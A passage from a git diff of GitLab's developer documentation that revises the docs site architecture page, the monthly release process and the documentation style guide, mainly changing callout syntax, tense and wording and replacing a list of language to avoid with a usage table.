+of its own, it must link to its first sub-item link, mimicking the navigation in GitLab.
This must be avoided so that we don't have duplicated links nor two `.active` links
at the same time.
@@ -292,7 +292,7 @@ and the following syntax rules.
an "information" icon on the nav to make the user aware that the feature is
EE-only.
-CAUTION: **Caution:**
+WARNING:
All links present on the data file must end in `.html`, not `.md`. Do not
start any relative link with a forward slash `/`.
diff --git a/doc/development/documentation/site_architecture/index.md b/doc/development/documentation/site_architecture/index.md
index 3772746e25b..be25a083948 100644
--- a/doc/development/documentation/site_architecture/index.md
+++ b/doc/development/documentation/site_architecture/index.md
@@ -1,8 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
-description: "Learn how GitLab's documentation website is architectured."
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Documentation site architecture
@@ -14,8 +13,8 @@ static site generator.
## Architecture
-While the source of the documentation content is stored in GitLab's respective product
-repositories, the source that is used to build the documentation
+While the source of the documentation content is stored in the repositories for
+each GitLab product, the source that is used to build the documentation
site _from that content_ is located at <https://gitlab.com/gitlab-org/gitlab-docs>.
The following diagram illustrates the relationship between the repositories
@@ -46,7 +45,7 @@ from where content is sourced, the `gitlab-docs` project, and the published outp
H -- symlink --> G
```
-You will not find any GitLab docs content in the `gitlab-docs` repository.
+GitLab docs content isn't kept in the `gitlab-docs` repository.
All documentation files are hosted in the respective repository of each
product, and all together are pulled to generate the docs website:
@@ -55,14 +54,14 @@ product, and all together are pulled to generate the docs website:
- [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner/tree/master/docs)
- [GitLab Chart](https://gitlab.com/charts/gitlab/tree/master/doc)
-NOTE: **Note:**
+NOTE:
In September 2019, we [moved towards a single codebase](https://gitlab.com/gitlab-org/gitlab/-/issues/2952),
as such the docs for CE and EE are now identical. For historical reasons and
in order not to break any existing links throughout the internet, we still
maintain the CE docs (`https://docs.gitlab.com/ce/`), although it is hidden
from the website, and is now a symlink to the EE docs. When
[Pages supports redirects](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/24),
-we will be able to remove this completely.
+we can remove this completely.
## Assets
@@ -114,7 +113,7 @@ located in the [Dockerfiles directory](https://gitlab.com/gitlab-org/gitlab-docs
If you need to rebuild the Docker images immediately (must have maintainer level permissions):
-CAUTION: **Caution:**
+WARNING:
If you change the dockerfile configuration and rebuild the images, you can break the master
pipeline in the main `gitlab` repository as well as in `gitlab-docs`. Create an image with
a different name first and test it to ensure you do not break the pipelines.
@@ -179,7 +178,7 @@ we reference the array with a symbol (`:versions`).
Whenever the custom CSS and JavaScript files under `content/assets/` change,
make sure to bump their version in the front matter. This method guarantees that
-your changes will take effect by clearing the cache of previous files.
+your changes take effect by clearing the cache of previous files.
Always use Nanoc's way of including those files, do not hardcode them in the
layouts. For example use:
@@ -196,7 +195,7 @@ The links pointing to the files should be similar to:
<%= @items['/path/to/assets/file.*'].path %>
```
-Nanoc will then build and render those links correctly according with what's
+Nanoc then builds and renders those links correctly according with what's
defined in [`Rules`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/Rules).
## Linking to source files
@@ -236,7 +235,7 @@ If you’re a GitLab team member, find credentials for the Algolia dashboard
in the shared [GitLab 1Password account](https://about.gitlab.com/handbook/security/#1password-for-teams).
To receive weekly reports of the search usage, search the Google doc with
title `Email, Slack, and GitLab Groups and Aliases`, search for `docsearch`,
-and add a comment with your email. You'll be added to the alias that gets the weekly
+and add a comment with your email to be added to the alias that gets the weekly
reports.
## Monthly release process (versions)
diff --git a/doc/development/documentation/site_architecture/release_process.md b/doc/development/documentation/site_architecture/release_process.md
index 547adc89a08..ba5363dbb71 100644
--- a/doc/development/documentation/site_architecture/release_process.md
+++ b/doc/development/documentation/site_architecture/release_process.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Docs monthly release process
@@ -26,7 +26,7 @@ To add a new charts version:
version mapping. Note that only the `major.minor` version is needed.
1. Create a new merge request and merge it.
-TIP: **Tip:**
+NOTE:
It can be handy to create the future mappings since they are pretty much known.
In that case, when a new GitLab version is released, you don't have to repeat
this first step.
@@ -44,14 +44,14 @@ this needs to happen when the stable branches for all products have been created
```
A new `Dockerfile.12.0` should have been created and `.gitlab-ci.yml` should
- have the branches variables updated into a new branch. They will be automatically
+ have the branches variables updated into a new branch. They are automatically
committed.
1. Push the newly created branch, but **don't create a merge request**.
- Once you push, the `image:docker-singe` job will create a new Docker image
+ After you push, the `image:docs-single` job creates a new Docker image
tagged with the branch name you created in the first step. In the end, the
- image will be uploaded in the [Container Registry](https://gitlab.com/gitlab-org/gitlab-docs/container_registry)
- and it will be listed under the `registry` environment folder at
+ image is uploaded in the [Container Registry](https://gitlab.com/gitlab-org/gitlab-docs/container_registry)
+ and it is listed under the `registry` environment folder at
`https://gitlab.com/gitlab-org/gitlab-docs/-/environments/folders/registry` (must
have developer access).
@@ -66,7 +66,7 @@ Visit `http://localhost:4000/12.0/` to see if everything works correctly.
## 3. Create the release merge request
-NOTE: **Note:**
+NOTE:
To be [automated](https://gitlab.com/gitlab-org/gitlab-docs/-/issues/750).
Now it's time to create the monthly release merge request that adds the new
@@ -114,20 +114,20 @@ version and rotates the old one:
The versions dropdown is in a way "hardcoded". When the site is built, it looks
at the contents of `content/_data/versions.yaml` and based on that, the dropdown
-is populated. So, older branches will have different content, which means the
-dropdown will list one or more releases behind. Remember that the new changes of
+is populated. Older branches have different content, which means the
+dropdown list is one or more releases behind. Remember that the new changes of
the dropdown are included in the unmerged `release-X-Y` branch.
The content of `content/_data/versions.yaml` needs to change for all online
versions (stable branches `X.Y` of the `gitlab-docs` project):
-1. Run the Rake task that will create all the respective merge requests needed to
- update the dropdowns and will be set to automatically be merged when their
+1. Run the Rake task that creates all the respective merge requests needed to
+ update the dropdowns. Set these to automatically be merged when their
pipelines succeed:
- NOTE: **Note:**
+ NOTE:
The `release-X-Y` branch needs to be present locally,
- and you need to have switched to it, otherwise the Rake task will fail.
+ and you need to have switched to it, otherwise the Rake task fails.
```shell
git checkout release-X-Y
@@ -138,13 +138,13 @@ versions (stable branches `X.Y` of the `gitlab-docs` project):
to check that their pipelines pass, and once all are merged, proceed to the
following and final step.
-TIP: **Tip:**
+NOTE:
In case a pipeline fails, see [troubleshooting](#troubleshooting).
## 5. Merge the release merge request
The dropdown merge requests should have now been merged into their respective
-version (stable `X.Y` branch), which will trigger another pipeline. At this point,
+version (stable `X.Y` branch), which triggers another pipeline. At this point,
you need to only babysit the pipelines and make sure they don't fail:
1. Check the [pipelines page](https://gitlab.com/gitlab-org/gitlab-docs/pipelines)
@@ -152,9 +152,9 @@ you need to only babysit the pipelines and make sure they don't fail:
1. After all the pipelines of the online versions succeed, merge the release merge request.
1. Finally, run the
[`Build docker images weekly` pipeline](https://gitlab.com/gitlab-org/gitlab-docs/pipeline_schedules)
- that will build the `:latest` and `:archives` Docker images.
+ that builds the `:latest` and `:archives` Docker images.
-Once the scheduled pipeline succeeds, the docs site will be deployed with all
+Once the scheduled pipeline succeeds, the docs site is deployed with all
new versions online.
## Troubleshooting
@@ -163,7 +163,7 @@ Releasing a new version is a long process that involves many moving parts.
### `test_internal_links_and_anchors` failing on dropdown merge requests
-DANGER: **Deprecated:**
+WARNING:
We now pin versions in the `.gitlab-ci.yml` of the respective branch,
so the steps below are deprecated.
diff --git a/doc/development/documentation/structure.md b/doc/development/documentation/structure.md
index 3cc7f49f05e..fd0c29f0fc1 100644
--- a/doc/development/documentation/structure.md
+++ b/doc/development/documentation/structure.md
@@ -1,7 +1,7 @@
---
stage: none
group: Style Guide
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: What to include in GitLab documentation pages.
---
@@ -9,7 +9,7 @@ description: What to include in GitLab documentation pages.
Use these standards to contribute content to the GitLab documentation.
-Before getting started, familiarize yourself with [GitLab's Documentation guidelines](index.md)
+Before getting started, familiarize yourself with [Documentation guidelines for GitLab](index.md)
and the [Documentation Style Guide](styleguide/index.md).
## Components of a documentation page
@@ -39,7 +39,7 @@ pre-deployment and post-deployment tasks.
## Template for new docs
-Follow the [folder structure and file name guidelines](styleguide/index.md#folder-structure-overview)
+Follow the [folder structure and filename guidelines](styleguide/index.md#folder-structure-overview)
and create a new topic by using this template:
```markdown
@@ -53,7 +53,7 @@ in Google Search snippets. It may help to write the page intro first, and then r
stage: Add the stage name here
group: Add the group name here
info: To determine the technical writer assigned to the Stage/Group associated with this page,
-see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Feature or Use Case Name **[TIER]** (1)
diff --git a/doc/development/documentation/styleguide/img/tier_badge.png b/doc/development/documentation/styleguide/img/tier_badge.png
new file mode 100644
index 00000000000..674d869da9b
--- /dev/null
+++ b/doc/development/documentation/styleguide/img/tier_badge.png
Binary files differ
diff --git a/doc/development/documentation/styleguide/index.md b/doc/development/documentation/styleguide/index.md
index 41e38266a58..971652f76d3 100644
--- a/doc/development/documentation/styleguide/index.md
+++ b/doc/development/documentation/styleguide/index.md
@@ -1,16 +1,15 @@
---
stage: none
group: Style Guide
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: 'Writing styles, markup, formatting, and other standards for GitLab Documentation.'
---
# Documentation Style Guide
-This document defines the standards for GitLab's documentation content and
-files.
+This document defines the standards for GitLab documentation.
-For broader information about the documentation, see the [Documentation guidelines](index.md).
+For broader information about the documentation, see the [Documentation guidelines](../index.md).
For guidelines specific to text in the GitLab interface, see the Pajamas [Content](https://design.gitlab.com/content/error-messages/) section.
@@ -48,20 +47,20 @@ documentation.
### All information
Include problem-solving actions that may address rare cases or be considered
-_risky_, so long as proper context is provided in the form of fully detailed
+_risky_, but provide proper context through fully-detailed
warnings and caveats. This kind of content should be included as it could be
helpful to others and, when properly explained, its benefits outweigh the risks.
If you think you have found an exception to this rule, contact the
Technical Writing team.
-We will add all troubleshooting information to the documentation, no matter how
+GitLab adds all troubleshooting information to the documentation, no matter how
unlikely a user is to encounter a situation. For the [Troubleshooting sections](#troubleshooting),
people in GitLab Support can merge additions themselves.
### All media types
Include any media types/sources if the content is relevant to readers. You can
-freely include or link presentations, diagrams, videos, and so on; no matter who
+freely include or link presentations, diagrams, and videos. No matter who
it was originally composed for, if it is helpful to any of our audiences, we can
include it.
@@ -84,25 +83,25 @@ different types. For example, [Divio recommends](https://www.divio.com/blog/docu
At GitLab, we have so many product changes in our monthly releases that we can't
afford to continuously update multiple types of information. If we have multiple
-types, the information will become outdated. Therefore, we have a
+types, the information becomes outdated. Therefore, we have a
[single template](../structure.md) for documentation.
-We currently do not distinguish specific document types, although we are open to
+GitLab documentation does not distinguish specific document types. We are open to
reconsidering this policy after the documentation has reached a future stage of
maturity and quality. If you are reading this, then despite our continuous
improvement efforts, that point hasn't been reached.
### Link instead of summarize
-There is a temptation to summarize the information on another page. This will
-cause the information to live in two places. Instead, link to the single source
+There is a temptation to summarize the information on another page, which
+causes the information to live in two places. Instead, link to the single source
of truth and explain why it is important to consume the information.
### Organize by topic, not by type
-Beyond top-level audience-type folders (for example, `administration`), we
-organize content by topic, not by type, so it can be located in the
-single-source-of-truth (SSOT) section for the subject matter.
+We organize content by topic, not by type, so it can be located in the
+single-source-of-truth (SSOT) section for the subject matter. Top-level audience-type
+folders, like `administration`, are exceptions.
For example, do not create groupings of similar media types. For example:
@@ -117,38 +116,37 @@ cross-link between any related content.
### Docs-first methodology
-We employ a _documentation-first methodology_ to help ensure the documentation
-remains a complete and trusted resource, and to make communicating about the use
+We employ a _documentation-first methodology_. This method ensures the documentation
+remains a complete and trusted resource, and makes communicating about the use
of GitLab more efficient.
- If the answer to a question exists in documentation, share the link to the
documentation instead of rephrasing the information.
-- When you encounter new information not available in GitLab’s documentation (for
+- When you encounter new information not available in GitLab documentation (for
example, when working on a support case or testing a feature), your first step
should be to create a merge request (MR) to add this information to the
documentation. You can then share the MR to communicate this information.
-New information that would be useful toward the future usage or troubleshooting
-of GitLab should not be written directly in a forum or other messaging system,
-but added to a documentation MR and then referenced, as described above. Note
+New information about the future usage or troubleshooting
+of GitLab should not be written directly in a forum or other messaging system.
+Instead, add it to a documentation merge request, then reference it. Note
that among any other documentation changes, you can either:
- Add a [Troubleshooting section](#troubleshooting) to a doc if none exists.
- Un-comment and use the placeholder Troubleshooting section included as part of
our [documentation template](../structure.md#template-for-new-docs), if present.
-The more we reflexively add useful information to the documentation, the more
-(and more successfully) the documentation will be used to efficiently accomplish
-tasks and solve problems.
+The more we reflexively add information to the documentation, the more
+the documentation helps others efficiently accomplish tasks and solve problems.
If you have questions when considering, authoring, or editing documentation, ask
-the Technical Writing team on Slack in `#docs` or in GitLab by mentioning the
-writer for the applicable [DevOps stage](https://about.gitlab.com/handbook/product/product-categories/#devops-stages).
+the Technical Writing team. They're available on Slack in `#docs` or in GitLab by mentioning the
+writer for the applicable [DevOps stage](https://about.gitlab.com/handbook/product/categories/#devops-stages).
Otherwise, forge ahead with your best effort. It does not need to be perfect;
the team is happy to review and improve upon your content. Review the
[Documentation guidelines](index.md) before you begin your first documentation MR.
-Having a knowledge base in any form that's separate from the documentation would
+Maintaining a knowledge base separate from the documentation would
be against the documentation-first methodology, because the content would overlap with
the documentation.
@@ -161,11 +159,11 @@ Markdown rendering engine. For a complete Kramdown reference, see the
[GitLab Markdown Kramdown Guide](https://about.gitlab.com/handbook/markdown-guide/).
The [`gitlab-kramdown`](https://gitlab.com/gitlab-org/gitlab_kramdown) Ruby gem
-will support all [GFM markup](../../../user/markdown.md) in the future, which is
-all markup supported for display in the GitLab application itself. For now, use
-regular Markdown markup, following the rules in the linked style guide.
+plans to support all [GitLab Flavored Markdown](../../../user/markdown.md) in the future, which is
+all Markdown supported for display in the GitLab application itself. For now, use
+regular Markdown, following the rules in the linked style guide.
-Note that Kramdown-specific markup (for example, `{:.class}`) doesn't render
+Kramdown-specific markup (for example, `{:.class}`) doesn't render
properly on GitLab instances under [`/help`](../index.md#gitlab-help).
### HTML in Markdown
@@ -184,7 +182,7 @@ GitLab ensures that the Markdown used across all documentation is consistent, as
well as easy to review and maintain, by [testing documentation changes](../testing.md)
with [markdownlint](../testing.md#markdownlint). This lint test fails when any
document has an issue with Markdown formatting that may cause the page to render
-incorrectly within GitLab. It will also fail when a document is using
+incorrectly in GitLab. It also fails when a document has
non-standard Markdown (which may render correctly, but is not the current
standard for GitLab documentation).
@@ -194,7 +192,7 @@ A rule that could cause confusion is `MD044/proper-names`, as it might not be
immediately clear what caused markdownlint to fail, or how to correct the
failure. This rule checks a list of known words, listed in the `.markdownlint.json`
file in each project, to verify proper use of capitalization and backticks.
-Words in backticks will be ignored by markdownlint.
+Words in backticks are ignored by markdownlint.
In general, product names should follow the exact capitalization of the official
names of the products, protocols, and so on. See [`.markdownlint.json`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.markdownlint.json)
@@ -211,7 +209,7 @@ included in backticks. For example:
- "Change the `needs` keyword in your `.gitlab.yml`..."
- `needs` is a parameter, and `.gitlab.yml` is a file, so both need backticks.
- Additionally, `.gitlab.yml` will fail markdownlint without backticks as it
+ Additionally, `.gitlab.yml` without backticks fails markdownlint because it
does not have capital G or L.
- "Run `git clone` to clone a Git repository..."
- `git clone` is a command, so it must be lowercase, while Git is the product,
@@ -241,23 +239,23 @@ to update.
Put files for a specific product area into the related folder:
-| Directory | What belongs here |
-|:----------------------|:----------------------------------------------------------------------------------------------------------------------------------------|
-| `doc/user/` | User related documentation. Anything that can be done within the GitLab user interface goes here, including usage of the `/admin` interface. |
-| `doc/administration/` | Documentation that requires the user to have access to the server where GitLab is installed. The admin settings that can be accessed by using GitLab's interface exist under `doc/user/admin_area/`. |
-| `doc/api/` | API related documentation. |
+| Directory | What belongs here |
+|:----------------------|:------------------|
+| `doc/user/` | User related documentation. Anything that can be done in the GitLab user interface goes here, including usage of the `/admin` interface. |
+| `doc/administration/` | Documentation that requires the user to have access to the server where GitLab is installed. Administrator settings in the GitLab user interface are under `doc/user/admin_area/`. |
+| `doc/api/` | API-related documentation. |
| `doc/development/` | Documentation related to the development of GitLab, whether contributing code or documentation. Related process and style guides should go here. |
-| `doc/legal/` | Legal documents about contributing to GitLab. |
-| `doc/install/` | Contains instructions for installing GitLab. |
-| `doc/update/` | Contains instructions for updating GitLab. |
-| `doc/topics/` | Indexes per topic (`doc/topics/topic_name/index.md`): all resources for that topic. |
+| `doc/legal/` | Legal documents about contributing to GitLab. |
+| `doc/install/` | Contains instructions for installing GitLab. |
+| `doc/update/` | Contains instructions for updating GitLab. |
+| `doc/topics/` | Indexes per topic (`doc/topics/topic_name/index.md`): all resources for that topic. |
### Work with directories and files
Refer to the following items when working with directories and files:
1. When you create a new directory, always start with an `index.md` file.
- Don't use another file name and _do not_ create `README.md` files.
+ Don't use another filename and _do not_ create `README.md` files.
1. _Do not_ use special characters and spaces, or capital letters in file
names, directory names, branch names, and anything that generates a path.
1. When creating or renaming a file or directory and it has more than one word
@@ -277,24 +275,24 @@ Refer to the following items when working with directories and files:
Every page you would navigate under `/profile` should have its own document,
for example, `account.md`, `applications.md`, or `emails.md`.
- `doc/user/dashboard/` should contain all dashboard related documentation.
- - `doc/user/admin_area/` should contain all admin related documentation
- describing what can be achieved by accessing GitLab's admin interface
- (_not to be confused with `doc/administration` where server access is
- required_).
+ - `doc/user/admin_area/` should contain all administrator-related
+ documentation describing what can be achieved by accessing the GitLab
+ administrator interface (not to be confused with `doc/administration` where
+ server access is required).
- Every category under `/admin/application_settings/` should have its
own document located at `doc/user/admin_area/settings/`. For example,
the **Visibility and Access Controls** category should have a document
located at `doc/user/admin_area/settings/visibility_and_access_controls.md`.
1. The `doc/topics/` directory holds topic-related technical content. Create
`doc/topics/topic_name/subtopic_name/index.md` when subtopics become necessary.
- General user- and admin- related documentation, should be placed accordingly.
+ General user and administrator documentation should be placed accordingly.
1. The `/university/` directory is *deprecated* and the majority of its documentation
has been moved.
If you're unsure where to place a document or a content addition, this shouldn't
stop you from authoring and contributing. Use your best judgment, and then ask
-the reviewer of your MR to confirm your decision, or ask a technical writer at
-any stage in the process. The technical writing team will review all
+the reviewer of your MR to confirm your decision. You can also ask a technical writer at
+any stage in the process. The technical writing team reviews all
documentation changes, regardless, and can move content if there is a better
place for it.
@@ -305,9 +303,9 @@ Do not include the same information in multiple places.
### References across documents
-- Give each folder an `index.md` page that introduces the topic, introduces the
- pages within, and links to the pages within (including to the index pages of
- any next-level subpaths).
+- Give each folder an `index.md` page that introduces the topic, and both introduces
+ and links to the child pages, including to the index pages of
+ any next-level sub-paths.
- To ensure discoverability, ensure each new or renamed doc is linked from its
higher-level index page and other related pages.
- When making reference to other GitLab products and features, link to their
@@ -315,7 +313,7 @@ Do not include the same information in multiple places.
- When making reference to third-party products or technologies, link out to
their external sites, documentation, and resources.
-### Structure within documents
+### Structure in documents
- Include any and all applicable subsections as described on the
[structure and template](../structure.md) page.
@@ -331,11 +329,12 @@ GitLab documentation should be clear and easy to understand.
- Write in US English with US grammar. (Tested in [`British.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/British.yml).)
- Use [inclusive language](#inclusive-language).
-### Point of view
+### Trademark
-In most cases, it’s appropriate to use the second-person (you, yours) point of
-view, because it’s friendly and easy to understand. (Tested in
-[`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml).)
+Only use the GitLab name and trademarks in accordance with
+[GitLab Brand Guidelines](https://about.gitlab.com/handbook/marketing/inbound-marketing/digital-experience/brand-guidelines/#trademark).
+
+Don't use the possessive form of the word GitLab (`GitLab's`).
### Capitalization
@@ -353,7 +352,7 @@ item, use the same capitalization that's displayed in the user interface.
Standards for this content are listed in the [Pajamas Design System Content section](https://design.gitlab.com/content/punctuation/)
and typically match what's called for in this Documentation Style Guide.
-If you think there's a mistake in the way the user interface text is styled,
+If you think the user interface text contains style mistakes,
create an issue or an MR to propose a change to the user interface text.
#### Feature names
@@ -524,78 +523,35 @@ You can use the following fake tokens as examples:
| Health check token | `Tu7BgjR9qeZTEyRzGG2P` |
| Request profile token | `7VgpS4Ax5utVD2esNstz` |
-### Language to avoid
-
-When creating documentation, limit or avoid the use of the following verb
-tenses, words, and phrases:
-
-- Avoid jargon when possible, and when not possible, define the term or
- [link to a definition](#links-to-external-documentation).
-- Avoid uncommon words when a more-common alternative is possible, ensuring that
- content is accessible to more readers.
-- Don't write in the first person singular.
- (Tested in [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml).)
- - Instead of _I_ or _me_, use _we_, _you_, _us_, or _one_.
- - When possible, stay user focused by writing in the second person (_you_ or
- the imperative).
-- Don't overuse "that". In many cases, you can remove "that" from a sentence
- and improve readability.
-- Avoid use of the future tense:
- - Instead of "after you execute this command, GitLab will display the
- result", use "after you execute this command, GitLab displays the result".
- - Only use the future tense to convey when the action or result will actually
- occur at a future time.
-- Don't use slashes to clump different words together or as a replacement for
- the word "or":
- - Instead of "and/or," consider using "or," or use another sensible
- construction.
- - Other examples include "clone/fetch," author/assignee," and
- "namespace/repository name." Break apart any such instances in an
- appropriate way.
- - Exceptions to this rule include commonly accepted technical terms, such as
- CI/CD and TCP/IP.
-<!-- vale gitlab.LatinTerms = NO -->
-- We discourage the use of Latin abbreviations and terms, such as _e.g._,
- _i.e._, _etc._, or _via_, as even native users of English can misunderstand
- those terms. (Tested in [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml).)
- - Instead of _i.e._, use _that is_.
- - Instead of _via_, use _through_.
- - Instead of _e.g._, use _for example_, _such as_, _for instance_, or _like_.
- - Instead of _etc._, either use _and so on_ or consider editing it out, since
- it can be vague.
-<!-- vale gitlab.LatinTerms = YES -->
-- Avoid using the word *currently* when talking about the product or its
- features. The documentation describes the product as it is, and not as it
- will be at some indeterminate point in the future.
-- Avoid the using the word *scalability* with increasing GitLab's performance
- for additional users. Using the words *scale* or *scaling* in other cases is
- acceptable, but references to increasing GitLab's performance for additional
- users should direct readers to the GitLab
- [reference architectures](../../../administration/reference_architectures/index.md)
- page.
-- Avoid all forms of the phrases *high availability* and *HA*, and instead
- direct readers to the GitLab [reference architectures](../../../administration/reference_architectures/index.md)
- for information about configuring GitLab to have the performance needed for
- additional users over time.
-- Don't use profanity or obscenities. Doing so may negatively affect other
- users and contributors, which is contrary to GitLab's value of
- [Diversity, Inclusion, and Belonging](https://about.gitlab.com/handbook/values/#diversity-inclusion).
-- Avoid the use of [racially-insensitive terminology or phrases](https://www.marketplace.org/2020/06/17/tech-companies-update-language-to-avoid-offensive-terms/). For example:
- - Use *primary* and *secondary* for database and server relationships.
- - Use *allowlist* and *denylist* to describe access control lists.
-- Avoid the word _please_. For details, see the [Microsoft style guide](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/p/please).
-- Avoid words like _easily_, _simply_, _handy_, and _useful._ If the user
- doesn't find the process to be these things, we lose their trust.
-
-### Word usage clarifications
-
-- Don't use "may" and "might" interchangeably:
- - Use "might" to indicate the probability of something occurring. "If you
- skip this step, the import process might fail."
- - Use "may" to indicate giving permission for someone to do something, or
- consider using "can" instead. "You may select either option on this
- screen." Or, "You can select either option on this screen."
-
+### Usage list
+<!-- vale off -->
+
+| Usage | Guidance |
+|-----------------------|-----|
+| admin, admin area | Use **administration**, **administrator**, **administer**, or **Admin Area** instead. |.
+| and/or | Use **or** instead, or another sensible construction. |
+| currently | Do not use when talking about the product or its features. The documentation describes the product as it is today. |
+| easily | Do not use. If the user doesn't find the process to be these things, we lose their trust. |
+| e.g. | Do not use Latin abbreviations. Use **for example**, **such as**, **for instance**, or **like** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml)) |
+| future tense | When possible, use present tense instead. For example, use `after you execute this command, GitLab displays the result` instead of `after you execute this command, GitLab will display the result`. ([Vale](../testing.md#vale) rule: [`FutureTense.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FutureTense.yml)) |
+| handy | Do not use. If the user doesn't find the process to be these things, we lose their trust. |
+| high availability, HA | Do not use. Instead, direct readers to the GitLab [reference architectures](../../../administration/reference_architectures/index.md) for information about configuring GitLab for handling greater amounts of users. |
+| I | Do not use first-person singular. Use **you**, **we**, or **us** instead. ([Vale](../testing.md#vale) rule: [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml)) |
+| i.e. | Do not use Latin abbreviations. Use **that is** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml)) |
+| jargon | Do not use. Define the term or [link to a definition](#links-to-external-documentation). |
+| may, might | **Might** means something has the probability of occurring. **May** gives permission to do something. Consider **can** instead of **may**. |
+| me, myself, mine | Do not use first-person singular. Use **you**, **we**, or **us** instead. ([Vale](../testing.md#vale) rule: [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml)) |
+| please | Do not use. For details, see the [Microsoft style guide](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/p/please). |
+| profanity | Do not use. Doing so may negatively affect other users and contributors, which is contrary to the GitLab value of [Diversity, Inclusion, and Belonging](https://about.gitlab.com/handbook/values/#diversity-inclusion). |
+| scalability | Do not use when talking about increasing GitLab performance for additional users. The words scale or scaling are sometimes acceptable, but references to increasing GitLab performance for additional users should direct readers to the GitLab [reference architectures](../../../administration/reference_architectures/index.md) page. |
+| simply | Do not use. If the user doesn't find the process to be these things, we lose their trust. |
+| slashes | Instead of **and/or**, use **or** or another sensible construction. This rule also applies to other slashes, like **follow/unfollow**. Some exceptions (like **CI/CD**) are allowed. |
+| that | Do not use. Example: `the file that you save` can be `the file you save`. |
+| useful | Do not use. If the user doesn't find the process to be these things, we lose their trust. |
+| utilize | Do not use. Use **use** instead. It's more succinct and easier for non-native English speakers to understand. |
+| via | Do not use Latin abbreviations. Use **with**, **through**, or **by using** instead. ([Vale](../testing.md#vale) rule: [`LatinTerms.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/LatinTerms.yml)) |
+
+<!-- vale on -->
### Contractions
Contractions are encouraged, and can create a friendly and informal tone,
@@ -604,11 +560,13 @@ especially in tutorials, instructional documentation, and
Some contractions, however, should be avoided:
+- Do not use [the word GitLab in a contraction](#trademark).
+
- Do not use contractions with a proper noun and a verb. For example:
| Do | Don't |
|------------------------------------------|-----------------------------------------|
- | GitLab is creating X. | GitLab's creating X. |
+ | Canada is establishing X. | Canada's establishing X. |
- Do not use contractions when you need to emphasize a negative. For example:
@@ -674,8 +632,8 @@ Follow these guidelines for punctuation:
### Placeholder text
-Often in examples, a writer will provide a command or configuration that
-uses values specific to the reader.
+You might want to provide a command or configuration that
+uses specific values.
In these cases, use [`<` and `>`](https://en.wikipedia.org/wiki/Usage_message#Pattern)
to call out where a reader must replace text with their own value.
@@ -691,12 +649,23 @@ cp <your_source_directory> <your_destination_directory>
Use the HTML `<kbd>` tag when referring to keystroke presses. For example:
```plaintext
-To stop the command, press <kbd>Ctrl</kbd>+<kbd>C</kbd>.
+To stop the command, press <kbd>Control</kbd>+<kbd>C</kbd>.
```
When the docs are generated, the output is:
-To stop the command, press <kbd>Ctrl</kbd>+<kbd>C</kbd>.
+To stop the command, press <kbd>Control</kbd>+<kbd>C</kbd>.
+
+### Spaces between words
+
+Use only standard spaces between words. The search engine for the documentation
+website doesn't split words separated with
+[non-breaking spaces](https://en.wikipedia.org/wiki/Non-breaking_space) when
+indexing, and fails to create expected individual search terms. Tests that search
+for certain words separated by regular spaces can't find words separated by
+non-breaking spaces.
+
+Tested in [`lint-doc.sh`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/scripts/lint-doc.sh).
## Lists
@@ -733,7 +702,7 @@ This is a list of available features:
- Use dashes (`-`) for unordered lists instead of asterisks (`*`).
- Prefix `1.` to every item in an ordered list. When rendered, the list items
- will appear with sequential numbering.
+ display with sequential numbering.
### Punctuation
@@ -793,6 +762,8 @@ Items nested in lists should always align with the first character of the list
item. In unordered lists (using `-`), this means two spaces for each level of
indentation:
+<!-- vale off -->
+
````markdown
- Unordered list item 1
@@ -806,7 +777,7 @@ indentation:
- Unordered list item 3
```plaintext
- a codeblock that will next inside list item 3
+ a code block that nests inside list item 3
```
- Unordered list item 4
@@ -814,8 +785,12 @@ indentation:
![an image that will nest inside list item 4](image.png)
````
+<!-- vale on -->
+
For ordered lists, use three spaces for each level of indentation:
+<!-- vale off -->
+
````markdown
1. Ordered list item 1
